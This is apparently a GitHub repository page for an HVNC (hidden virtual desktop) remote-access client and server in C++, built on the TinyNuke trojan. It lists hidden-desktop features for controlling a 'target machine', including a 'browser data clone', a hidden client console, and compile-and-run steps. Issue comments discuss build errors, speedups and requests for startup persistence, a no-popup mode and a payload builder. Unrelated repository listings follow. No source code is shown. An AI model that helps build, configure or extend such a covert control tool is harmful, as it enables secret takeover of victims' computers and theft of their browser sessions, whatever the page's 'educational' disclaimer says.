HVNC Client & Server | Coded in C++ (Fixed Tinynuke)

Overview

HVNC - Tinynuke (Fixed)

This HVNC (Hidden Virtual Network Computing) Client and Server is based off of Tinynuke's HVNC (C++).

I do NOT encourage malicious use of this code. This was made for educational purposes only.

Credits: https://github.com/rossja/TinyNuke

Features:

  • Start Explorer (Hidden Desktop)
  • Open "Run"
  • Start Powershell
  • Start Chrome
  • Start Edge
  • Start Brave
  • Start Firefox
  • Start Internet Explorer

Usage:

  • In the Client's "Main.cpp" file, edit the ip and port variables.
  • In the Server's "Server.cpp" file, find "BOOL StartServer(int port)", and replace the port within "addr.sin_port = htons(4043);" with the port you want the Server to listen on.
  • Compile the Server & Client, and run the Server. Now, when the Client is executed, it will open a new "Hidden Desktop" window. If you right-click on the white bar at the top of the "Hidden Desktop" window, you can view the available commands that you can run on the target machine.

Updates (New):

  • Fixed Browser Data Clone
  • Added "Start Powershell" Option
  • Made Client Console Hidden
  • Added "Start Edge" Option
  • Added "Start Brave" Option
  • Adjusted Window Size for "Start Powershell"

Demo of HVNC Window:

View Demo Video: https://vimeo.com/597459719

Image1

Contact Me:

Discord: Melted#0001

Telegram: Melteddd

XMPP: [email protected]

Comments
  • deprecation

    deprecation

    is normal ? to get this i use Microsoft Visual Studio Professional 2019

    HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\Server\Main.cpp(15,4): warning C4996: 'freopen': This function or variable may be unsafe. Consider using freopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 1>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\Server\Main.cpp(16,4): warning C4996: 'freopen': This function or variable may be unsafe. Consider using freopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 1>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\Server\Main.cpp(17,4): warning C4996: 'freopen': This function or variable may be unsafe. Consider using freopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 1>Server.cpp 1>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\Server\Server.cpp(382,38): warning C4018: '>': signed/unsigned mismatch 1>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\Server\Server.cpp(383,40): warning C4018: '>': signed/unsigned mismatch 1>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\Server\Server.cpp(505,10): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. 1>Generating Code... 1>LINK : D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main_bin\Debug\Win32\Server.exe not found or not built by the last incremental link; performing full link 1>Server.vcxproj -> D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main_bin\Debug\Win32\Server.exe 1>Done building project "Server.vcxproj". 2>------ Build started: Project: Client, Configuration: Debug Win32 ------ 2>Api.cpp 2>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\common\Api.h(7,32): warning C4455: 'operator ""END_ENC_STR': literal suffix identifiers that do not start with an underscore are reserved 2>HiddenDesktop.cpp 2>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\common\Api.h(7,32): warning C4455: 'operator ""END_ENC_STR': literal suffix identifiers that do not start with an underscore are reserved 2>HTTP.cpp 2>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\common\Api.h(7,32): warning C4455: 'operator ""END_ENC_STR': literal suffix identifiers that do not start with an underscore are reserved 2>Panel.cpp 2>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\common\Api.h(7,32): warning C4455: 'operator ""END_ENC_STR': literal suffix identifiers that do not start with an underscore are reserved 2>Utils.cpp 2>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\common\Api.h(7,32): warning C4455: 'operator ""END_ENC_STR': literal suffix identifiers that do not start with an underscore are reserved 2>Main.cpp 2>D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main\common\Api.h(7,32): warning C4455: 'operator ""END_ENC_STR': literal suffix identifiers that do not start with an underscore are reserved 2>Generating Code... 2>LINK : D:\Downloads\HVNC-HVNC - Tinynuke (Fixed)\HVNC-main_bin\Debug\Win32\Client.exe not found or not built by the last incremental link; performing full link 2>Starting pass 1

    opened by dodoaska 3
  • Convert BITMAP to JPEG for speed

    Convert BITMAP to JPEG for speed

    When frame is small, it get quickly transmited from tcp connection. It solves: https://github.com/Meltedd/HVNC/issues/10

    I didn't removed anything. Just added some imports, variables and one function and replaced Funcs::pGetDIBits with BitmapToJpg

    Before: 3mb Now: 100kb

    opened by graysuit 1
  • Please,Add some more options to destroy stupid cheaters business

    Please,Add some more options to destroy stupid cheaters business

    Thanks for this modification.Stupid cheaters who steal people's code and make their business using this code.I hope their business will go to hell now.If you add some more options.I believe It will be more useful for people who are enthusiast.You can consider to add some options like.

    1.start up Enable/Disable
    2.Hidden execution mode/ no popup 3.Finally a builder where we can set port and dns / ip

    And Thanks for this nice works.

    opened by Abraham313 1
  • compiling error

    compiling error

    hey a tried compiling the server and client by using g++ with the g++ .cpp -o command and it gave me errors. Here are the logs HiddenDesktop.cpp: In function 'SOCKET ConnectServer()': HiddenDesktop.cpp:229:24: warning: converting to non-pointer type 'SOCKET' {aka 'long long unsigned int'} from NULL [-Wconversion-null] 229 | return NULL; | ^~~~ HiddenDesktop.cpp:231:24: warning: converting to non-pointer type 'SOCKET' {aka 'long long unsigned int'} from NULL [-Wconversion-null] 231 | return NULL; | ^~~~ HiddenDesktop.cpp:239:24: warning: converting to non-pointer type 'SOCKET' {aka 'long long unsigned int'} from NULL [-Wconversion-null] 239 | return NULL; | ^~~~ HiddenDesktop.cpp: In function 'void killproc(const char)': HiddenDesktop.cpp:326:69: warning: passing NULL to non-pointer argument 2 of 'void* CreateToolhelp32Snapshot(DWORD, DWORD)' [-Wconversion-null] 326 | HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL); | ^~~~ In file included from Client../common/Common.h:13, from Client\HiddenDesktop.h:2: C:/msys64/mingw64/include/TlHelp32.h:15:62: note: declared here 15 | HANDLE WINAPI CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID); | ~~~~~~^~~~~~~~~~~~~ HiddenDesktop.cpp: In function 'void StartFirefox()': HiddenDesktop.cpp:480:1: error: jump to label 'exit' 480 | exit: | ^~~~ HiddenDesktop.cpp:448:22: note: from here 448 | goto exit; | ^~~~ HiddenDesktop.cpp:477:29: note: crosses initialization of 'PROCESS_INFORMATION processInfo' 477 | PROCESS_INFORMATION processInfo = { 0 }; | ^~~~~~~~~~~ HiddenDesktop.cpp:474:22: note: crosses initialization of 'STARTUPINFOA startupInfo' 474 | STARTUPINFOA startupInfo = { 0 }; | ^~~~~~~~~~~ HiddenDesktop.cpp:466:14: note: crosses initialization of 'char browserPath [260]' 466 | char browserPath[MAX_PATH] = { 0 }; | ^~~~~~~~~~~ HiddenDesktop.cpp:452:14: note: crosses initialization of 'char realPath [260]' 452 | char realPath[MAX_PATH] = { 0 }; | ^~~~~~~~ HiddenDesktop.cpp:480:1: error: jump to label 'exit' 480 | exit: | ^~~~ HiddenDesktop.cpp:445:22: note: from here 445 | goto exit; | ^~~~ HiddenDesktop.cpp:477:29: note: crosses initialization of 'PROCESS_INFORMATION processInfo' 477 | PROCESS_INFORMATION processInfo = { 0 }; | ^~~~~~~~~~~ HiddenDesktop.cpp:474:22: note: crosses initialization of 'STARTUPINFOA startupInfo' 474 | STARTUPINFOA startupInfo = { 0 }; | ^~~~~~~~~~~ HiddenDesktop.cpp:466:14: note: crosses initialization of 'char browserPath [260]' 466 | char browserPath[MAX_PATH] = { 0 }; | ^~~~~~~~~~~ HiddenDesktop.cpp:452:14: note: crosses initialization of 'char realPath [260]' 452 | char realPath[MAX_PATH] = { 0 }; | ^~~~~~~~ HiddenDesktop.cpp:446:15: note: crosses initialization of 'char* pathEnd' 446 | char pathEnd = Funcs::pStrStrA(path, "\r"); | ^~~~~~~ HiddenDesktop.cpp:480:1: error: jump to label 'exit' 480 | exit: | ^~~~ HiddenDesktop.cpp:439:22: note: from here 439 | goto exit; | ^~~~ HiddenDesktop.cpp:477:29: note: crosses initialization of 'PROCESS_INFORMATION processInfo' 477 | PROCESS_INFORMATION processInfo = { 0 }; | ^~~~~~~~~~~ HiddenDesktop.cpp:474:22: note: crosses initialization of 'STARTUPINFOA startupInfo' 474 | STARTUPINFOA startupInfo = { 0 }; | ^~~~~~~~~~~ HiddenDesktop.cpp:466:14: note: crosses initialization of 'char browserPath [260]' 466 | char browserPath[MAX_PATH] = { 0 }; | ^~~~~~~~~~~ HiddenDesktop.cpp:452:14: note: crosses initialization of 'char realPath [260]' 452 | char realPath[MAX_PATH] = { 0 }; | ^~~~~~~~ HiddenDesktop.cpp:446:15: note: crosses initialization of 'char pathEnd' 446 | char pathEnd = Funcs::pStrStrA(path, "\r"); | ^~~~~~~ HiddenDesktop.cpp:443:15: note: crosses initialization of 'char path' 443 | char *path = Funcs::pStrStrA(profilesIniContent, Strs::hd13); | ^~~~ HiddenDesktop.cpp:441:14: note: crosses initialization of 'BOOL isRelative' 441 | BOOL isRelative = (*isRelativeRead == '1'); | ^~~~~~~~~~ HiddenDesktop.cpp: In function 'DWORD InputThread(LPVOID)': HiddenDesktop.cpp:532:34: warning: converting to non-pointer type 'long long int' from NULL [-Wconversion-null] 532 | LRESULT resMoveType = NULL; | ^~~~ HiddenDesktop.cpp:663:92: warning: converting to non-pointer type 'WPARAM' {aka 'long long unsigned int'} from NULL [-Wconversion-null] 663 | LRESULT lResult = Funcs::pSendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); | ^~~~ HiddenDesktop.cpp:670:92: warning: converting to non-pointer type 'WPARAM' {aka 'long long unsigned int'} from NULL [-Wconversion-null] 670 | lResult = Funcs::pSendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); | ^~~~ HiddenDesktop.cpp:716:63: warning: cast to pointer from integer of different size [-Wint-to-pointer-cast] 716 | HMENU hMenu = (HMENU)Funcs::pSendMessageA(hWnd, MN_GETHMENU, 0, 0); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HiddenDesktop.cpp:731:96: warning: converting to non-pointer type 'WPARAM' {aka 'long long unsigned int'} from NULL [-Wconversion-null] 731 | resMoveType = Funcs::pSendMessageA(hWnd, WM_NCHITTEST, NULL, lParam); | ^~~~

    opened by Man755 0
  • I opened a GUI software through the command line Desktop@127.0.0.1 Inside the window, but it will open on the real user desktop

    I opened a GUI software through the command line [email protected] Inside the window, but it will open on the real user desktop

    opened by Gofreedom0 0
  • slow connection

    slow connection

    Hi, Thanks a lot for such simple and beautiful code.

    It works good in my local network in win7_x86 with DNS 127.0.0.1:6667 . It also works well when I port forward using portmap.io with DNS like xxxxxxx.portmap.host:6667 and use my own pc as server and client. It even works, when I use win7_x86 virtualbox as client.

    But connection is slow, when using on Microsoft hypervisor. But its still little faster than qwqdanchun/HVNC.

    Do you have any advice on how do I make it fast ? I don't care for video quality or pixels.

    From my experience, when we decrease pixels, its file size decreases. Also black n white images with colorful images have file size ratio of 2x:3x. So black n white image is liter and fast.

    opened by graysuit 0
  • Server Build Error

    Server Build Error

    I am getting this error while building the server. Which packages should I install?

    Severity Code Description Project File Line Hide Status Error MSB8020 Cannot find build tools (Platform Toolkit = 'v142') for Visual Studio 2019. Please install Visual Studio 2019 build tools to build using v142 build tools. Alternatively, you can upgrade to the current Visual Studio tools by selecting the Project menu or right-clicking on the solution and then selecting "Retarget solution". Server C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Microsoft\VC\v170\Microsoft.CppBuild.targets 460

    opened by Atalayagiz 1
Owner
Melted
Discord: Melted#0001
Melted
VEngine-Client - vEngine: Official Client Module

━ S Y N O P S I S ━ Maintainer(s): Aviril, Tron vEngine is Next-Gen Sandbox-Engine being crafted in C++. In contrast to UE/Unity/ReverseEngineered-Mod

ᴠ : ꜱᴛᴜᴅɪᴏ 15 Sep 7, 2022
Pyth-client - client API for on-chain pyth programs

pyth-client client API for on-chain pyth programs Build Instructions # depends on openssl apt install libssl-dev # depends on libz apt install zlib1g

Pyth Network 107 Sep 23, 2022
Webdav-client-cpp - C++ WebDAV Client provides easy and convenient to work with WebDAV-servers.

WebDAV Client Package WebDAV Client provides easy and convenient to work with WebDAV-servers: Yandex.Disk Dropbox Google Drive Box 4shared ownCloud ..

Cloud Polis 102 Oct 1, 2022
This repository provides a C++ client SDK for Unleash that meets the Unleash Client Specifications.

Unleash Client SDK for C++ This repository provides a C++ client SDK for Unleash that meets the Unleash Client Specifications. Features The below tabl

Antonio Ruiz 4 Jan 30, 2022
The C++ REST SDK is a Microsoft project for cloud-based client-server communication in native code using a modern asynchronous C++ API design. This project aims to help C++ developers connect to and interact with services.

Welcome! The C++ REST SDK is a Microsoft project for cloud-based client-server communication in native code using a modern asynchronous C++ API design

Microsoft 7.1k Oct 5, 2022
A C++ header-only HTTP/HTTPS server and client library

cpp-httplib A C++11 single-file header-only cross platform HTTP/HTTPS library. It's extremely easy to setup. Just include the httplib.h file in your c

null 7.9k Oct 6, 2022
Ultra fast and low latency asynchronous socket server & client C++ library with support TCP, SSL, UDP, HTTP, HTTPS, WebSocket protocols and 10K connections problem solution

CppServer Ultra fast and low latency asynchronous socket server & client C++ library with support TCP, SSL, UDP, HTTP, HTTPS, WebSocket protocols and

Ivan Shynkarenka 891 Sep 28, 2022
Wangle is a framework providing a set of common client/server abstractions for building services in a consistent, modular, and composable way.

Wangle C++ networking library Wangle is a library that makes it easy to build protocols, application clients, and application servers. It's like Netty

Facebook 2.9k Oct 2, 2022
C++ websocket client/server library

WebSocket++ (0.8.2) WebSocket++ is a header only C++ library that implements RFC6455 The WebSocket Protocol. It allows integrating WebSocket client an

Peter Thorson 5.8k Oct 2, 2022
LibVNCServer/LibVNCClient are cross-platform C libraries that allow you to easily implement VNC server or client functionality in your program.

LibVNCServer: A library for easy implementation of a VNC server. Copyright (C) 2001-2003 Johannes E. Schindelin If you already used LibVNCServer, you

null 864 Sep 29, 2022
A network library for client/server games written in C++

yojimbo yojimbo is a network library for client/server games written in C++. It's designed around the networking requirements of competitive multiplay

The Network Protocol Company 2.2k Sep 26, 2022
Realtime Client/Server app for Linux allowing joystick (and other HID) data to be transferred over a local network

netstick What is it? Netstick enables HID devices to be remotely connected between a "client" and "server" over a network connection. It allows the ke

null 31 Oct 1, 2022
Online chess platform (client-server) in Python with StockFish API

PyChess Gra w szachy tylko w Pythonie :) Wymagania Python 3.8 Instalacja Wchodzimy i pobieramy najnowsze wydanie aplikacji. https://github.com/Rafixe

Rafał Hrabia 6 Oct 7, 2021
Simple server and client using python socket and declarative programming

Socket-programming Simple server and client using python socket and declarative programming How to use? open cmd and navigate to the location of the s

MAINAK CHAUDHURI 21 Sep 30, 2021
a c++/qt client app for use with Tachidesk server

Tachidesk-qtui a c++/qt client app for use with Tachidesk server what works: selecting manga and viewing and selecting chapters installing/uninstallin

null 16 Oct 2, 2022
A virtual network Differential GNSS server-client project using Precise Point Positioning (PPP). Global coverage. Without physical base station construction needed. An open-source virtual base station approach.

Virtual-Network-DGNSS-Project This project is the software implementation for a publicly available, open-source, client/server VN-DGNSS implementation

null 11 Aug 22, 2022
Ole Christian Eidheim 741 Sep 27, 2022
websocket and http client and server library, coming with ws, a command line swiss army knife utility

Hello world IXWebSocket is a C++ library for WebSocket client and server development. It has minimal dependencies (no boost), is very simple to use an

Machine Zone, Inc. 345 Sep 18, 2022
single header C(99) library to implement client-server network code for games

single header C(99) library to implement client-server network code for games

Nathan 224 Sep 13, 2022